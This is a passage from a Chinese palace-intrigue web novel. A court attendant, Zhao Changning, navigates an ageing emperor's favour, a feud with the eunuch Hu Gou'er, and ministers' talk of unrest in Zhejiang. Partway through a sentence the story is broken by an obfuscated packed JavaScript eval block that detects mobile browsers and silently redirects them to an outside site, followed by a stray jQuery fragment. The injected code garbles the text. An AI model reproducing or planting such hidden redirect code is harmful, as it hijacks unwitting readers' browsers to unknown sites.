赵长宁被问的一怔,一时间没反应过来,结结巴巴道:“皇上,我,我……”
皇帝再次发起的话题,让她突然意识到,背后那只手,到底从何而来。
皇帝难得温和,也没有介意她的迟疑,“你与他已经结仇,你不杀他,他必杀你,他可不是个心宽的,你若不早作准备,是斗不过他的。”
赵长宁满心疑惑,不明白皇帝为什么要这么做,论用处,胡狗儿可是掌印,实打实为皇帝办差的,但皇帝如此问,那她也不隐瞒。
“已经在想了,皇上,胡狗儿到底犯了什么错?我怕斗不过他。”
皇帝缓缓坐下,半张脸没入夕阳下,看着温和慈爱,像极了普通老人,但另半张脸在阴影中,充满了冷漠与算计。
他没有回答赵长宁这个问题,只是淡淡道:“你很聪明,总有一天,你会懂的。”
赵长宁没有追问,她虽不懂政事,但经过今天的听政,心里已经模模糊糊的有了点启发。
况且,皇帝不喜欢蠢货,皇帝希望她斗志昂扬、张牙舞爪的厮杀,这样看着才有意思。
她不解,但她没资格问。
夕阳下坠,余下最后一缕红辉,袅袅余光中,倦鸟归巢,隐于枯枝,直至最后一束斜阳消散,天地间响起了乌鸦的叫声,寒风乍起。
赵长宁本想提醒皇帝该回去。
“人生居天壤间,忽如飞鸟栖枯枝。”【1】皇帝望着面前衰败枯黄的早春景象,忽然重重叹了口气。
他顺着起身,双脚颤抖,喃喃着道:“长宁,我老了,真的老了。”
赵长宁也有些恍惚,这是老皇帝第一次承认自己老,可她现在一点也不觉得解脱,她希望老皇帝能活得久一点。
好不容易到了晚膳时间,皇帝要去后宫和妃嫔用膳,赵长宁才得以脱身一会儿。
她叫来云慧,叮嘱道;“往日里你跟云乔都是一处,今儿云乔不在,你好好在偏殿伺候,皇上不来还好,若皇上回来,就要警惕些,也莫要像云佩那样,惹祸上身。”
云慧连连点头,云乔忽然不见了踪影,没人知道去了哪儿,吓得她再也没有别的心思。
“姑姑,您放心,我一定不走神,若是有事,我会找人去叫您的。”
赵长宁便踏着靛青的天色回了住处。
刚过那排粗壮的柳树,就看到云生缩头缩脑地等在门前,青石板路上,一只瘸腿的猫又在堂而皇之地拉屎,猫脑袋高高昂起,样子颇为高傲。
云生面色很犹豫,但看到那猫拉了一坨又一坨,耀武扬威的样子,实在没忍住。
他鼓起勇气抬头问道:“姑姑,真的不用赶吗?”
赵长宁看着瘸腿猫,瘸腿猫也看着她,一人一猫对视,最后以她失败告终。
“不用赶了。”她疲惫摆手,语调满是无奈,“小顺,帮我捡点纸钱跟香来。”
小顺拍着手上的灰出来,劝道:“姑姑,这都天黑了,等明儿再去吧?”
赵长宁摇了摇头,“现在就去。”
小顺只能捡出一个篮子,递到赵长宁手上,“姑姑,饭马上就得了,您要快些回来。”
云生捡赵长宁沉默的背影,好奇道:“姑姑是要去祭奠谁啊?”
小顺摇头,“不知道,应该是姑姑的恩人吧,姑姑经常去烧纸的。”
赵长宁回来后,看到屋子里四个人在眼巴巴的等她回来吃饭。
她看向云生,“你怎么还在这?”
云生委屈巴巴的,“姑姑,云佩的药……”
赵长宁看向小边,“你没给云佩送药?”
小边鼓了鼓嘴,“荆山那边好远,我托了旁人去……”声音越来越小。
赵长宁将筷子放下,淡淡道:“你今晚不要吃饭了,好好反思,云生,你今晚不用去勤政殿值夜,去荆山送药吧。”
小边委屈瘪嘴,“姑姑。”
“早就说过,我交代的事儿,就得好好做。”赵长宁温声道:“在这个地方偷懒,是嫌活得命长吗?”
她说话的时候,语调平平淡淡,但自有一股威压在身,令人不得不听。
云生高兴极了,连连道谢,“谢谢姑姑。”
他越发觉得,姑姑好像没有表面那么冷淡。
晚食才吃完,就有人来禀报,说皇帝宿在了孙婕妤宫里,不回勤政殿了。
赵长宁就干脆泡起了澡,正好消化这两天发生的事儿。
其实她脑子里还有些乱,好在目标清晰,心下也安定不少。
翌日寅时,随着宫门开启,皇城内忙碌的一天也开始了。
这座庞大巍峨的宫殿群,是由无数蚂蚁般的宫女太监来维持的。
人影憧憧,洒扫、倒夜香、运水米粮等等,每个人都勤勤恳恳,不敢丝毫懈怠。
赵长宁在前往勤政殿的时候,竟然碰到了胡狗儿的干儿子。
“姑姑早。”寒风中,云和缩着脑袋和赵长宁打招呼,被风吹的嘴都打不开。
赵长宁见他连个厚袄子都不穿,玉京二月里的凌晨可不好受,随口问了句,“你干爹怎么连个袄子也不给?”
云和只笑不说话。
赵长宁跟胡狗儿不和已经浮在表面了,也懒得管,径直离开,正好看到勤政殿偏殿前两个小太监在打闹,角落里枯叶黄泥扬的满地都是。
她紧绷着脸,上去就是一人一巴掌。
“活够了就跳进护城河淹死,别在这连累别人。”
“我们错了。”小太监吓得瑟瑟发抖,登时就跪了下去,眼泪滚滚而下,声音稚嫩,“姑姑,我们错了,我们再也不敢了。”
赵长宁看两人年岁还小,天性如此,也不好太过,便指了指墙角,“去那边跪满一个时辰再起来,长长记性。”
处理好外头的事儿,她便进了偏殿,云和也跟了进来。
昨夜皇帝宿在婕妤宫里,会直接从后宫去上朝,若是有小朝会,就会回勤政殿议事,不过,这也得辰时过后了。
赵长宁忙里偷闲,坐在窗边,安安静静看着夜幕低垂,星子微闪,怔怔出神。
碳炉上的铜壶咕嘟咕嘟的响,将这满室静谧打破。
她起身给自己倒了杯茶,看云和在一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810674|175220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旁端坐,便也顺手给他倒了一杯,随口问道:“你干爹跟皇上去上朝了?”
“干爹出宫了。”云和摇头,和他干爹一样的谄笑,弯腰伸手接过茶碗道谢,“多谢姑姑。”
赵长宁的尾指被他碰个正着,只觉不适,不由眼神微闪,但看他没事人似的重新坐好,假作无意之举,也不好发作。
她有些疑惑,胡狗儿这会儿不跟着去上朝,跑哪去了?
“他出宫干什么?最近皇上因为浙江的事儿吃不好睡不香的,他这会儿还往外跑?”
云和笑起来极猥琐,跟胡狗儿两模两样,“干爹在外头,不是有好几个女人嘛,偶尔出宫也正常,就是皇上也不会说什么的。”
赵长宁努力忽略云和带来的不适,但也不想再说话,云和的动作跟眼神,比胡狗儿还令人烦躁。
她想,或许是她身上带的威压还不够,叫这些没根的东西也敢放肆。
可一个御前伺候的,再得宠,又哪里能跟司礼监掌权的太监比?
如果她能取代胡狗儿,得了权势,是不是就不会有这种事了?
一想到这些,赵长宁的心跳就加速,手心也开始冒出冷汗,这种奇妙的感觉,是最近才有的,叫人沉迷又期待。
时间就这么缓缓过去,一直到晨正,旭日东升,赵长宁吃过小顺送来的早食后,才听到外头皇帝的御驾回来。
后头还跟了好些个人。
赵长宁上前扶皇帝下辇的时候,顺便打量了一圈,除去内阁的四人,还有两位尚书,最后面,是满脸阴森的胡狗儿和他的跟班。
大家的面色都不太好看。
她越发谨慎,也更殷勤,在一群权势滔天的男人面前,不敢出一丝差错。
进了殿内,赵长宁照旧拿薄毯裹住皇帝的腿,又询问诸位大人可需要手炉,都是老家伙,怕冷的很。
皇帝咳了两声,“长宁,吩咐御膳房端些热食来。”
赵长宁点头称是,连忙去偏殿熟练的吩咐,“去叫御膳房做些油饼、米糕、鸡蛋羹和面条这些热汤食来,快去快回。”
这些东西听着寒碜,但做得快。
人无论高低贵贱,其实都是食五谷,再精巧精致的食物,在饥饿面前,都不值一提。
她刚来御前时,皇帝那时候精神尚可,还常常与官员们议事错过御膳,等想起来吃东西,想吃的,也就是老百姓常吃的,并无二致。
赵长宁再转回去的时候,殿内已经开了话头。
首辅高赟在说话,“……现下首要的,是让浙江尽快安定,马上就是春耕,涉及百万百姓的生计,绝不能耽搁。”
户部尚书齐玉微也立刻站起来,“皇上,前几年与鞑靼、女真打的厉害,国库至今未恢复,如今西南也不稳定,东南决不能乱啊。”
皇帝依旧阖眸沉默。
孙之道咬了咬牙,也站起身,“浙江巡抚领兵抗倭平叛,浙江就靠一个明轩在扛,他这时候出事,又有谁能一下子接住这摊子?皇上,您三思啊。”
赵长宁又听到明轩这个名字,眼神不自觉就瞟向了胡狗儿。